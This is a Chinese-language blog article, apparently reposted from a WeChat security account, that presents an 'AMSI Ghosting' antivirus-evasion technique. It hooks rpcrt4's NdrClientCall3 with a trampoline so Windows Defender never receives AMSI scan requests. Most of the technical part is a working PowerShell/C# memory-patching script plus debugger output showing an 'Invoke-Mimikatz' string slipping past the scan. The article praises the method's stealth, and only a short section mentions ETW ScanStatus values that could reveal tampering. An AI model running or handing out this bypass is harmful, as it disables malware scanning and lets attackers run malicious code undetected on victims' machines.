在本文中,我们探讨如何通过劫持 AMSI 所依赖的 RPC 层(特别是NdrClientCall3
用于调用远程 AMSI 扫描调用的存根)来绕过 AMSI 的扫描逻辑。
该技术利用了 AMSI 的 COM 级架构,该架构通过 RPC 将扫描请求委托给已注册的杀毒软件提供商。通过拦截传递给NdrClientCall3
核心 RPC 编组函数的参数,可以在恶意负载被序列化并分发到杀毒引擎之前对其进行抑制。
因此,AMSI 会扫描看似无害的内容,而实际的有效载荷仍然被隐藏。
- AMSI组件尝试扫描内容
- 它尝试使用RPC 与扫描服务进行通信
- 你的蹦床拦截了这种通信并立即返回,无需实际扫描
- AMSI 认为这是一次“成功”,并继续
与传统的 AMSI 绕过技术(通常涉及修补函数AmsiScanBuffer
或设置内部标志)不同amsiInitFailed
,这种方法在较低级别运行,通过避免对amsi.dll
自身进行任何修改来逃避检测。这些较旧的技术现在受到现代 AV 解决方案通过行为签名和完整性检查的严格监控。
此绕过的核心是rpcrt4.dll!NdrClientCall3
,它是 RPC 运行时的一个低级组件,负责将函数参数编组为符合协议的格式并将它们分派到 RPC 服务器。
AMSI 依赖于自动生成的存根,这些存根最终会被调用NdrClientCall3
来与 AV 提供商进行通信。通过钩住这个调用,我们能够精准地操纵或短路 AMSI 扫描请求。
- 正常 AMSI 操作:
AmsiScanBuffer
/AmsiScanString
调用 AMSI 基础设施NdrClientCall3
处理与防病毒引擎的 RPC 通信- AV 接收内容,扫描并返回结果
- 检测到恶意内容时会被阻止
2. AMSI 重影技术:
NdrClientCall3
在内存中被修补- 它不是向 AV 发出 RPC 调用,而是重定向到跳床
- 蹦床立即返回
S_OK
(成功)但出现错误 - 此特定错误迫使 AMSI 进入其后备路径,RPC 存根永远不会到达防病毒引擎,并且所有内容都会通过而没有进行实际扫描
这就是为什么该技术如此有效——它不会禁用 AMSI 或移除钩子(这些钩子可能会被检测到)。相反,它通过操纵通信通道来利用 AMSI 自身的内置回退机制,使 AMSI 误以为其运行正常,同时阻止任何实际的安全扫描。
这种方法的技术优势在于它比其他绕过技术更隐蔽,因为它在中和扫描的同时保留了正常操作的外观。
🔁 正常流程:
- 参数被编组——要扫描的内容和其他参数已准备好传输
- 从 AMSI 基础设施向反恶意软件提供程序(Windows Defender 或第三方 AV)发出 RPC 调用
- 反恶意软件引擎分析内容并设置适当的
AMSI_RESULT
值(例如AMSI_RESULT_DETECTED
针对恶意内容) - 函数返回
S_OK
表示扫描过程本身已成功完成
返回S_OK
值仅表示扫描过程正常运行,并不代表内容安全。实际的安全判定包含在AMSI_RESULT
通过输出参数返回的值中。
这是 AMSI Ghosting 绕过漏洞利用的一个重要技术细节。通过返回S_OK
但阻止实际扫描的发生,它欺骗系统认为一切正常,从而绕过安全检查。
该技术使杀毒软件的存在对 AMSI 来说几乎不可见。通过定位NdrClientCall3
并使用跳床钩,这种绕过技术比大多数其他 AMSI 绕过技术在更深的层面上运作。
这里的关键创新在于,这种技术不是直接攻击 AMSI 或禁用 Windows 安全功能(这可能会触发警报),而是巧妙地拦截组件之间的通信通道,允许恶意内容“隐藏”安全控制。
我们不是在修补 AMSI 或 AV 提供商,而是在劫持它们之间的桥梁。
📡 RPC 转换
这些 API 捕获的相关信息会通过远程过程调用 (RPC) 的进程间通信机制转发到 Windows Defender,经 Windows Defender 分析后返回扫描结果。
在内部,RPC 调用经过:
rpcrt4.dll!NdrClientCall3()
← 这是构建并向 Defender 服务发送 RPC 请求的实际函数。
🕳️绕过防守者——Ghosting AMSI
using System;
using System.Runtime.InteropServices;
public class Mem {
[DllImport("
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("
kernel32.dll")]public static extern IntPtr LoadLibrary(string name);
[DllImport("
kernel32.dll")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("
kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("
kernel32.dll")]public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("
kernel32.dll")]public static extern IntPtr GetCurrentProcess();
}
"@
$PAGE_EXECUTE_READWRITE = 0x40
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PATCH_SIZE = 12
# Allocate trampoline: mov eax, 0; ret
$size = [UIntPtr]::op_Explicit(0x1000)
$trampoline = [Mem]::VirtualAlloc([IntPtr]::Zero, $size, $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_EXECUTE_READWRITE)
# Exit if trampoline allocation failed
if ($trampoline -eq [IntPtr]::Zero) {
Write-Error "[-] Failed to allocate trampoline."
return
}
# Write hook: mov eax, 0; ret
$hook = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($hook, 0, $trampoline, $hook.Length)
# Flush instruction cache
$len = [UIntPtr]::op_Explicit($hook.Length)
[Mem]::FlushInstructionCache([Mem]::GetCurrentProcess(), $trampoline, $len) | Out-Null
# Get function address
$lib = [Mem]::LoadLibrary("rpcrt4.dll")
$func = [Mem]::GetProcAddress($lib, "NdrClientCall3")
if ($func -eq [IntPtr]::Zero) {
Write-Error "[-] Failed."
return
}
# Unprotect target memory
$oldProtect = 0
[Mem]::VirtualProtect($func, [UIntPtr]::op_Explicit($PATCH_SIZE), $PAGE_EXECUTE_READWRITE, [ref]$oldProtect) | Out-Null
# Write patch: mov rax, trampoline; jmp rax
$trampAddr = $trampoline.ToInt64()
$patch = [byte[]](0x48, 0xB8) + [BitConverter]::GetBytes($trampAddr) + [byte[]](0xFF, 0xE0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $func, $patch.Length)
Write-Host "[+] NdrClientCall3 patched - AMSI Ghosting."
📦内存常量
定义通用VirtualAlloc
标志VirtualProtect
:
$PAGE_EXECUTE_READWRITE = 0x40
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PATCH_SIZE = 12
使内存RWX和补丁为 12 个字节(64 位mov rax, addr; jmp rax
)。
分配蹦床
您正在开辟一个新的 0x1000 字节的可执行内存页来承载您的虚假函数(trampoline)。
$trampoline = [Mem] :: VirtualAlloc (...)
编写 Trampoline 代码:mov eax, 0;
$hook = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
B8 00 00 00 00
=mov eax, 0
;返回 S_OK (HRESULT 0)C3
=ret
;干净地退出函数
RPC函数命中
在输出的底部,您已到达断点RPCRT4!NdrClientCall3
:
RPCRT4!NdrClientCall3:
00007ff9`2e388060 4cb80000e05c00020000 mov rax,2005CE00000h
您在此处看到的是该函数的修补版本NdrClientCall3
。原始函数不会以 开头mov rax, <address>
。
该指令4cb80000e05c00020000
解码为mov rax, 2005CE00000h
将您的蹦床地址加载到 RAX 中。
接下来会跳转到该地址,有效地将 RPC 调用重定向到仅返回 0 的简单函数。当此函数执行时,它不会执行正常的 RPC 通信,而是直接跳转到您的蹦床代码。
干净的版本是:
发生了什么
修改了入口点NdrClientCall3
以重定向到您的蹦床
- 代码包含
mov eax, 0; ret
- 这有效地缩短了 RPC 通信
当 AMSI 尝试使用 RPC 在组件之间进行通信(可能用于判决检查)时,它会因“成功”返回值而短路。
这正是AMSI Ghosting 绕过的工作原理——原始函数的前 12 个字节NdrClientCall3
已被重定向到攻击者控制的 trampoline 函数的代码覆盖。原始函数的其余代码仍然存在,但从未执行过。
因此,它不会将扫描结果整理并发送给 AV 提供商,而是立即返回,
0
就好像扫描成功但未发现任何内容一样。
AMSI 不区分“AV 不可用”和“AV 通信被故意篡改”
为什么它比 RET 补丁更好
我们正在编写一个12 字节的补丁:mov rax, trampoline jmp rax
在控制流保护(CFG)下是安全的:
它不会破坏调用堆栈+避免跳转到意外的内存并保留rax
基于的间接调用
🚫 蹦床的作用:
↓
[🔀 Trampoline Patch]
↓
return S_OK (HRESULT 0)
↓
AMSI believes it's clean
↓
AV is NEVER reached
这就像调用一个函数并说:“嘿,我调用了它。相信我,它说‘一切顺利’。”“没什么问题——继续。”即使根本没有进行任何扫描。
蹦床补丁行为:
我们的补丁劫持了NdrClientCall3
,迫使它立即返回而不是调用实际的 RPC 调用。
- 返回值:
rax = 0x80070002
→ERROR_FILE_NOT_FOUND
- 这表明 AMSI 的扫描尝试正在被悄悄放弃
这证实了修补已成功——通常与反恶意软件提供程序通信的 RPC 函数已被修改,以返回强制 AMSI 进入其回退路径的响应。即使 Windows Defender 在系统上处于活动状态,AMSI 也无法再与其正常通信。
修补后的 RPC 功能导致 AMSI 的行为好像没有可用的反恶意软件提供程序,从而阻止“Invoke-Mimikatz”字符串被正确分析为潜在的恶意内容。
这正是绕过技术的工作原理——通过操纵 AMSI 和安全提供商之间的通信通道,而不是完全禁用 AMSI。
调用堆栈模式:
- 正常的 AMSI 扫描流程保持不变:
AmsiUtils.ScanContent
→CompiledScriptBlockData.PerformSecurityChecks
- 这证实了 PowerShell 仍在尝试执行安全检查,但您的 RPC 拦截阻止了实际安全判决的正确传达
在分析 AMSI 日志时,我注意到应用补丁后,
ScanResult
出现的情况与预期一致,但ScanStatus
设置为2
。
根据 Red Canary 博客 (链接) 的报道,ScanStatus
AMSI 事件的值(通常预期为0
(干净)或1
(恶意))在修补后会发生变化。这表明 AMSI 的 ETW 遥测数据可能反映了篡改或绕过活动。
根据对 AMSI 及其与反恶意软件扫描界面交互的研究,扫描行为似乎遵循两条不同的执行路径:
- 主路径(
ScanStatus = 1
):通过注册的反恶意软件提供程序的标准扫描路线。 - 辅助路径(
ScanStatus = 2
):当主路径发生故障时触发的回退机制。
当使用回退路径时,内部 RPC 调用通常会失败,并出现 AMSI 可识别的特定错误代码。从 WinDbg 跟踪中,我们观察到:
ERROR_NOT_READY (0x80070015)
- 当没有可用的防病毒软件时,这会出现在“自然”的后备方案中ERROR_FILE_NOT_FOUND (0x80070002)
- 这是使用AMSI Ghosting 绕过时返回的错误代码
当 AMSI 遇到这些特定的错误代码时,它会切换到 ScanStatus=2(后备路径)并自动将结果设置为 AMSI_RESULT_NOT_DETECTED,而不执行实际的安全扫描。
回退机制最初旨在妥善处理反恶意软件提供商不可用的情况,但通过对 RPC 函数进行战略性修补,它被 AMSI Ghosting 技术所利用。
🛣️ AMSI 扫描路径 — 无需修补
🔹ScanStatus = 1(主路径)
- RPC 通信成功时触发
- AV 收到扫描请求并返回合法
AMSI_RESULT
→ 可以是AMSI_RESULT_DETECTED
、NOT_DETECTED
、 或其他- 这是正常的、功能齐全的扫描路径
🔸 ScanStatus = 2(后备路径)
- 当RPC 失败并出现特定错误代码时触发:
ERROR_NOT_READY (0x80070015)
在自然回退场景中,AV 实时被禁用。ERROR_FILE_NOT_FOUND (0x80070002)
在 AMSI Ghosting 绕过中,总是返回AMSI_RESULT_NOT_DETECTED
- 本质上成为盲扫描仪-没有 AV 可见性,在 AV 无法访问时用作降级模式
以下是 AMSI 扫描过程中的三种不同状态和相关状态代码:
状态 1:活动反恶意软件(正常运行)
- 扫描状态:1(主路径)
- 结果代码:0x00000000(成功)
- 描述:AMSI 成功与 Windows Defender 或其他反恶意软件提供程序通信,并执行实际内容扫描
- 行为:检测并阻止恶意内容;允许合法内容
状态 2:无可用的反恶意软件(自然回退)
- 扫描状态:2(后备路径)
- 结果代码:0x80070015(ERROR_NOT_READY)
- 描述:AMSI 无法找到或与任何注册的反恶意软件提供商进行通信
- 行为:允许执行所有内容,因为没有发生扫描
状态 3:AMSI 幽灵(利用回退)
- 扫描状态:2(后备路径)
- 结果代码:0x80070002(ERROR_FILE_NOT_FOUND)
- 描述:AMSI 的通信通道(RPC)已修补,以模拟连接失败
- 行为:尽管存在且正在运行反恶意软件解决方案,但所有内容仍被允许执行
全流程比较
- 在所有情况下,PowerShell 都会将“echo 'Invoke-Mimikatz'”传递给 AmsiScanBuffer
1- AMSI 处理:
- 在所有情况下,内部 AMSI 功能都准备进行扫描
2. RPC通信:
- 状态 1(主动):RPC 调用成功,参数正常
- 状态 2(无 AV):RPC 调用失败,因为没有注册任何提供程序
- 状态 3(绕过):RPC 调用被补丁拦截并返回受控错误
3.路径选择:
- 状态 1:使用主路径(ScanStatus = 1)
- 状态 2 和 3:使用后备路径 (ScanStatus = 2)
4.扫描结果:
- 状态 1:根据内容而变化(对于恶意内容通常为 AMSI_RESULT_DETECTED)
- 状态 2:ERROR_NOT_READY (0x80070015)
- 状态 3:ERROR_FILE_NOT_FOUND (0x80070002)
5.最终结果:
- 状态 1:阻止恶意内容执行
- 状态 2 和 3:允许执行所有内容
最关键的见解是,状态 3(绕过状态)故意激活 AMSI 的内置回退机制,迫使它表现得好像没有可用的安全提供程序,即使系统上正在积极运行一个安全提供程序。
第三方 AV 提供商:其他防病毒解决方案的架构与之类似。它们注册的 AMSI 提供程序 DLL 可能包含完整的扫描逻辑,或者更常见的是,将数据转发到该供应商的安全服务或引擎。
Ghosting AMSI 绕过方法比传统的 AMSI 绕过方法操作在更低级别的抽象上,通过直接操纵 RPC 通信有效地绕过安全检查。其工作原理如下:
- PowerShell 启动 AMSI 扫描
PowerShell 调用 AMSI 来分析潜在的恶意内容。 - AMSI 使用 RPC 调用
AMSI 使用远程过程调用 (RPC) 与防病毒提供商进行内部通信。 - RPC 调用拦截用于这些通信的
关键 RPC 函数被拦截并重定向到自定义的蹦床函数。NdrClientCall3
- 蹦床内存修补
您的蹦床函数不会进行修补amsi.dll
,而是优雅地拦截并立即返回成功代码(S_OK
或0
),而无需执行任何实际内容检查。 - AMSI Neutralized
PowerShell 接收成功代码并将其解释为“内容干净”,认为防病毒提供商不可用。
Ghosting AMSI 技术的优势:
- 更隐秘的操作:无需直接修改
amsi.dll
,大大降低了被发现的风险。 - 没有可疑的 DLL 修补:由于 AMSI DLL 保持不变,典型的内存或完整性检查无法检测到篡改。
- 完全绕过 AV 层:完全绕过依赖 AMSI 的防病毒检查层。
- 通用 RPC 兼容性:可有效对抗任何与 AMSI 兼容的 AV,包括依赖 RPC 的第三方实现。
https://github.com/haidragon/Ghosting-AMSI
rust语言全栈开发视频教程-第一季(2025最新)
详细目录
mac/ios安全视频
QT开发底层原理与安全逆向视频教程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
windows恶意软件开发与对抗视频教程
-
原文始发于微信公众号(安全狗的自我修养):免杀-劫持 AMSI:切断 RPC 以解除 AV
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论